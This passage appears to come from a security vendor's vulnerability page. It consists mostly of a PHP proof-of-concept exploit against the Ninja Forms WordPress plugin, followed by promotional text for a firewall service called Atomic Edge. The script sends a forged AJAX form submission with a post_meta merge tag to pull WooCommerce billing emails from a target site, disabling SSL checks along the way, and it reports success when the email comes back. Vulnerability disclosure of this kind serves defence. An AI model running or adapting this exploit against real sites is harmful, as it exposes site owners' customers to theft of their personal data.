// Craft a malicious form submission with a repeater field containing a post_meta merge tag
// The payload structure mimics a Ninja Forms submission with a repeater field
$payload = [
    'action' => 'nf_ajax_submit',
    'formData' => json_encode([
        'id' => '1', // Target form ID
        'fields' => [
            '1' => [ // Repeater field ID
                'value' => [
                    '2' => [ // Sub-field ID within repeater
                        'value' => '{post_meta:_billing_email}' // Merge tag to extract WooCommerce billing email
                    ]
                ]
            ]
        ]
    ])
];

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Add headers to mimic legitimate AJAX request
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/x-www-form-urlencoded',
    'X-Requested-With: XMLHttpRequest'
]);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Parse response
if ($http_code === 200 && !empty($response)) {
    $data = json_decode($response, true);
    if (isset($data['data']['fields']['1']['value']['2']['value'])) {
        $extracted_meta = $data['data']['fields']['1']['value']['2']['value'];
        echo "[+] Exploit successful! Extracted metadata: " . htmlspecialchars($extracted_meta) . "n";
    } else {
        echo "[-] Could not extract metadata from response.n";
        echo "Response: " . htmlspecialchars($response) . "n";
    }
} else {
    echo "[-] Request failed with HTTP code: $http_coden";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School